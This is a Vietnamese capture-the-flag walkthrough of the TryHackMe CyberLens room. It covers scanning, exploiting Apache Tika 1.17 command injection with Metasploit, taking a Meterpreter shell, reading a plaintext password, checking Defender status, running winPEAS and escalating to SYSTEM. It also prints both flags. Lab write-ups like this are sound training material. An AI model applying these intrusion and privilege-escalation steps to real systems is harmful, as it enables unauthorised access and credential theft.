Icon

CyberLens

Can you exploit the CyberLens web server and discover the hidden flags?

November 4, 2025 August 30, 2025 Easy
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

image

Chúng ta có thể ping target, vậy có thể đang không tồn tại firewall nào.

┌──(hungnt㉿kali)-[~]
└─$ sudo nmap -sV -sC -v -T4 cyberlens.thm

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Apache httpd 2.4.57 ((Win64))
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
|_http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-08-31T08:19:16+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=CyberLens
| Issuer: commonName=CyberLens
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-08-30T08:10:17
| Not valid after:  2026-03-01T08:10:17
| MD5:   390e:9505:d760:050c:ea59:e439:d09f:beae
|_SHA-1: de02:26f5:3469:d385:01dd:8316:f4b6:32d2:e4f7:3029
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2025-08-31T08:19:07+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Kết quả scan cho thấy target đang chạy trên Windows. Port 80 đang chạy Apache httpd 2.4.57 (Win64). Các port 135, 139 và 445 đều mở, cho thấy có dịch vụ Microsoft RPC, NetBIOS và SMB. Ngoài ra, port 3389 mở cho phép Remote Desktop Protocol (RDP). Port 5985 cũng mở, cho thấy dịch vụ WinRM (Windows Remote Management) hoạt động trên HTTP.

HTTP 80

image

Trang chính không cho ta thông tin gì hữu ích.

Directory Enumeration

Chúng ta sẽ dùng ffuf để scan các directory và file ẩn trên web server chạy HTTP.

┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://cyberlens.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 128

image

/about.html

image

Tại đây có một tính năng tên là CyberLens Image Extract, cho phép người dùng upload một file ảnh và lấy metadata của nó.

Chúng ta thử upload một ảnh bất kỳ để xem kết quả như thế nào:

image

image

Kết quả trả về chính là metadata của ảnh. Đây là lúc thích hợp để dùng Burp Suite để kiểm tra request và response.

image

Quan sát trong Burp, ta thấy server gửi một PUT request đến endpoint /meta trên host cyberlens.thm:61777. Lưu ý rằng port này hoàn toàn khác với port mà web chính đang chạy. Khi thử truy cập trực tiếp bằng browser, ta thấy server đang sử dụng Apache Tika phiên bản 1.17 để trích xuất dữ liệu từ ảnh.

image

Dùng searchsploit để tìm exploit cho phiên bản này, chúng ta thấy nó tồn tại lỗ hổng Command Injection và đã có sẵn module trong Metasploit.

image

image

Tiếp theo, chúng ta sẽ cấu hình các thông số cần thiết để khai thác.

image

SMB 139, 445

Chúng ta có thể enumerate dịch vụ SMB bằng các script của nmap, nhưng không tìm thấy thông tin nào hữu ích, nên ta sẽ bỏ qua.

┌──(hungnt㉿kali)-[~]
└─$ sudo nmap -p139,445 -sV --script=smb-enum* -v cyberlens.thm

PORT    STATE SERVICE       VERSION
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
┌──(hungnt㉿kali)-[~]
└─$ smbclient -N -L //cyberlens.thm/
session setup failed: NT_STATUS_ACCESS_DENIED

Shell as CyberLens

image

Chúng ta khai thác thành công và nhận được một reverse Meterpreter shell dưới quyền user CyberLens.

user.txt

meterpreter > cd C:/Users
meterpreter > ls
Listing: C:\Users                                                                                                                                                                            
=================                                                                                                                                                                            

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  8192  dir   2025-08-31 16:23:55 +0700  Administrator
040777/rwxrwxrwx  0     dir   2018-09-15 14:28:48 +0700  All Users
040777/rwxrwxrwx  8192  dir   2023-11-25 14:31:22 +0700  CyberLens
040555/r-xr-xr-x  8192  dir   2021-03-17 21:58:07 +0700  Default
040777/rwxrwxrwx  0     dir   2018-09-15 14:28:48 +0700  Default User
040555/r-xr-xr-x  4096  dir   2018-12-12 14:45:15 +0700  Public
100666/rw-rw-rw-  174   fil   2018-09-15 14:16:48 +0700  desktop.ini

meterpreter > cd CyberLens/Desktop
meterpreter > ls
Listing: C:\Users\CyberLens\Desktop
===================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2016-06-21 22:36:17 +0700  EC2 Feedback.website
100666/rw-rw-rw-  554   fil   2016-06-21 22:36:23 +0700  EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-  282   fil   2023-06-07 02:48:33 +0700  desktop.ini
100666/rw-rw-rw-  25    fil   2023-06-07 02:54:19 +0700  user.txt

meterpreter > cat user.txt
THM{T1k4-CV3-f0r-7h3-w1n}

System Information

meterpreter > sysinfo
Computer        : CYBERLENS
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

Hệ thống đang chạy Windows Server 2019 bản 64-bit.

Process Privileges

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege

Tiến trình hiện tại đã bị inject payload của Meterpreter nhưng lại không có quyền hạn đặc biệt.

Plaintext Credentials Discovery

Chúng ta chạy lệnh tree để xem toàn bộ home directory của user CyberLens.

meterpreter > shell
Process 5524 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\CyberLens>tree /f /a
tree /f /a
Folder PATH listing
Volume serial number is A8A4-C362
C:.
+---3D Objects
+---Contacts
+---Desktop
|       EC2 Feedback.website
|       EC2 Microsoft Windows Guide.website
|       user.txt
|       
+---Documents
|   \---Management
|           CyberLens-Management.txt
|           
+---Downloads
+---Favorites
|   |   Bing.url
|   |   
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|       
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos

Trong đó có một file .txt khá thú vị, chứa nội dung HackSmarter123 — nhiều khả năng đây chính là mật khẩu của user CyberLens.

C:\Users\CyberLens>cd Documents\Management
cd Documents\Management

C:\Users\CyberLens\Documents\Management>type CyberLens-Management.txt
type CyberLens-Management.txt
Remember, manual enumeration is often key in an engagement ;)

CyberLens
HackSmarter123
C:\Users\CyberLens\Documents\Management>

Protection

Trước khi tiến hành leo quyền bằng cách sử dụng các script tự động, chúng ta cần kiểm tra xem hệ thống Windows này có cơ chế bảo vệ nào đang hoạt động không. Ta mở một PowerShell session và chạy các lệnh Get-MpComputerStatusGet-MpPreference.

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > Get-MpComputerStatus


AMEngineVersion                  : 0.0.0.0
AMProductVersion                 : 4.18.23050.3
AMRunningMode                    : Not running
AMServiceEnabled                 : False
AMServiceVersion                 : 0.0.0.0
AntispywareEnabled               : False
AntispywareSignatureAge          : 4294967295
AntispywareSignatureLastUpdated  :
AntispywareSignatureVersion      : 0.0.0.0
AAntivirusSignatureAge            : 4294967295
AntivirusSignatureLastUpdated    :
AntivirusSignatureVersion        : 0.0.0.0
BehaviorMonitorEnabled           : False
ComputerID                       : 3DBFE4F2-4B29-4FF5-531E-E6C7CDAE6B2E
ComputerState                    : 0
DefenderSignaturesOutOfDate      : False
DeviceControlDefaultEnforcement  : N/A
DeviceControlPoliciesLastUpdated : 1/1/1601 12:00:00 AM
DeviceControlState               : N/A
FullScanAge                      : 4294967295
FullScanEndTime                  :
FullScanOverdue                  : False
FullScanRequired                 : False
FullScanSignatureVersion         :
FullScanStartTime                :
IoavProtectionEnabled            : False
IsTamperProtected                : False
IsVirtualMachine                 : True
LastFullScanSource               : 0
LastQuickScanSource              : 0
NISEnabled                       : False
NISEngineVersion                 : 0.0.0.0
NISSignatureAge                  : 4294967295
NISSignatureLastUpdated          :
NISSignatureVersion              : 0.0.0.0
OnAccessProtectionEnabled        : False
ProductStatus                    : 1
QuickScanAge                     : 4294967295
QuickScanEndTime                 :
QuickScanOverdue                 : False
QQuickScanStartTime               :
RealTimeProtectionEnabled        : False
RealTimeScanDirection            : 0
RebootRequired                   : False
SmartAppControlExpiration        :
SmartAppControlState             :
TamperProtectionSource           : N/A
TDTMode                          : N/A
TDTSiloType                      : N/A
TDTStatus                        : N/A
TDTTelemetry                     : N/A
TroubleShootingDailyMaxQuota     :
TroubleShootingDailyQuotaLeft    :
TroubleShootingEndTime           :
TroubleShootingExpirationLeft    :
TroubleShootingMode              :
TroubleShootingModeSource        :
TroubleShootingQuotaResetTime    :
TroubleShootingStartTime         :
PSComputerName                   :


PS > Get-MpPreference


AllowDatagramProcessingOnWinServer                    : False
AllowNetworkProtectionDownLevel                       : False
AllowNetworkProtectionOnWinServer                     : False
AllowSwitchToAsyncInspection                          : False
AttackSurfaceReductionOnlyExclusions                  : {N/A: Must be an administrator to view exclusions}
AttackSurfaceReductionRules_Actions                   :
AttackSurfaceReductionRules_Ids                       :
AttackSurfaceReductionRules_RuleSpecificExclusions    : N/A: Must be an administrator to view exclusions
AttackSurfaceReductionRules_RuleSpecificExclusions_Id : N/A: Must be an administrator to view exclusions
CheckForSignaturesBeforeRunningScan                   : False
CloudBlockLevel                                       : 0
CloudExtendedTimeout                                  : 0
ComputerID                                            : 3DBFE4F2-4B29-4FF5-531E-E6C7CDAE6B2E
ControlledFolderAccessAllowedApplications             : {N/A: Must be an administrator to view exclusions}
ControlledFolderAccessProtectedFolders                :
DefinitionUpdatesChannel                              : 0
DisableArchiveScanning                                : False
DisableAutoExclusions                                 : False
DisableBehaviorMonitoring                             : False
DisableBlockAtFirstSeen                               : False
DisableCacheMaintenance                               : False
DisableCatchupFullScan                                : True
DisableCatchupQuickScan                               : True
DisableCpuThrottleOnIdleScans                         : True
DisableDatagramProcessing                             : False
DisableDnsOverTcpParsing                              : False
DisableDnsParsing                                     : False
DisableEmailScanning                                  : True
DisableFtpParsing                                     : False
DisableGradualRelease                                 : False
DisableHttpParsing                                    : False
DisableInboundConnectionFiltering                     : False
DisableIOAVProtection                                 : False
DisableNetworkProtectionPerfTelemetry                 : False
DisablePrivacyMode                                    : False
DisableRdpParsing                                     : False
DisableRealtimeMonitoring                             : False
DisableRemovableDriveScanning                         : True
DisableRestorePoint                                   : True
DisableScanningMappedNetworkDrivesForFullScan         : True
DisableScanningNetworkFiles                           : False
DisableScriptScanning                                 : False
DisableSmtpParsing                                    : False
DisableSshParsing                                     : False
DisableTlsParsing                                     : False
EnableControlledFolderAccess                          : 0
EnableDnsSinkhole                                     : True
EnableFileHashComputation                             : False
EnableFullScanOnBatteryPower                          : False
EnableLowCpuPriority                                  : False
EnableNetworkProtection                               : 0
EngineUpdatesChannel                                  : 0
ExclusionExtension                                    : {N/A: Must be an administrator to view exclusions}
ExclusionIpAddress                                    : {N/A: Must be an administrator to view exclusions}
ExclusionPath                                         : {N/A: Must be an administrator to view exclusions}
ExclusionProcess                                      : {N/A: Must be an administrator to view exclusions}
ForceUseProxyOnly                                     : False
HighThreatDefaultAction                               : 0
IntelTDTEnabled                                       :
LowThreatDefaultAction                                : 0
MAPSReporting                                         : 2
MeteredConnectionUpdates                              : False
MOobeEnableRtpAndSigUpdate                             : False
PlatformUpdatesChannel                                : 0
ProxyBypass                                           :
ProxyPacUrl                                           :
ProxyServer                                           :
PUAProtection                                         : 0
QuarantinePurgeItemsAfterDelay                        : 90
RandomizeScheduleTaskTimes                            : True
RealTimeScanDirection                                 : 0
RemediationScheduleDay                                : 0
RemediationScheduleTime                               : 02:00:00
ReportDynamicSignatureDroppedEvent                    : False
ReportingAdditionalActionTimeOut                      : 10080
ReportingCriticalFailureTimeOut                       : 10080
ReportingNonCriticalTimeOut                           : 1440
ScanAvgCPULoadFactor                                  : 50
ScanOnlyIfIdleEnabled                                 : True
ScanParameters                                        : 1
ScanPurgeItemsAfterDelay                              : 15
ScanScheduleDay                                       : 0
ScanScheduleOffset                                    : 120
ScanScheduleQuickScanTime                             : 00:00:00
ScanScheduleTime                                      : 02:00:00
SchedulerRandomizationTime                            : 4
ServiceHealthReportInterval                           : 60
SevereThreatDefaultAction                             : 0
SharedSignaturesPath                                  :
SignatureAuGracePeriod                                : 0
SignatureBlobFileSharesSources                        :
SignatureBlobUpdateInterval                           : 60
SignatureDefinitionUpdateFileSharesSources            :
SignatureDisableUpdateOnStartupWithoutEngine          : False
SignatureFallbackOrder                                : MicrosoftUpdateServer|MMPC
SignatureFirstAuGracePeriod                           : 120
SignatureScheduleDay                                  : 8
SignatureScheduleTime                                 : 01:45:00
SignatureUpdateCatchupInterval                        : 1
SignatureUpdateInterval                               : 0
SubmitSamplesConsent                                  : 1
ThreatIDDefaultAction_Actions                         :
ThreatIDDefaultAction_Ids                             :
ThrottleForScheduledScanOnly                          : True
TrustLabelProtectionStatus                            : 0
UILockdown                                            : False
UnknownThreatDefaultAction                            : 0
PSComputerName                                        :

Kết quả cho thấy Windows Defender gần như đã bị vô hiệu hóa, không hề có lớp bảo vệ nào. Vì vậy, chúng ta có thể thoải mái chạy các script độc hại.

WinPEAS

Bước tiếp theo là transfer winPEAS lên máy target để enumerate các vector leo quyền khả thi.

meterpreter > cd C:/Users/CyberLens
meterpreter > upload /usr/share/peass/winpeas/winPEAS.ps1
[*] Uploading  : /usr/share/peass/winpeas/winPEAS.ps1 -> winPEAS.ps1
[*] Uploaded 79.14 KiB of 79.14 KiB (100.0%): /usr/share/peass/winpeas/winPEAS.ps1 -> winPEAS.ps1
[*] Completed  : /usr/share/peass/winpeas/winPEAS.ps1 -> winPEAS.ps1

Khi chạy winPEAS trực tiếp trong session Meterpreter, vì lý do nào đó chúng ta không nhận được output. Do đó, ta sẽ dùng Remmina để kết nối từ xa với credentials đã tìm được trước đó, rồi chạy script trực tiếp.

image

image

image

image

Khi thực thi, chúng ta phát hiện được vector leo quyền, được chỉ dẫn tại HackTricks đây:

Để khai thác, ta có thể dùng một post-exploitation module trong Metasploit.

image

image

Shell as SYSTEM

image

Và cuối cùng, chúng ta đã leo quyền thành công và chiếm được quyền SYSTEM.

admin.txt

meterpreter > cd C:/Users/Administrator/Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  527   fil   2016-06-21 22:36:17 +0700  EC2 Feedback.website
100666/rw-rw-rw-  554   fil   2016-06-21 22:36:23 +0700  EC2 Microsoft Windows Guide.website
100666/rw-rw-rw-  24    fil   2023-11-28 02:50:45 +0700  admin.txt
100666/rw-rw-rw-  282   fil   2021-03-17 22:13:27 +0700  desktop.ini

meterpreter > cat admin.txt
THM{3lev@t3D-4-pr1v35c!}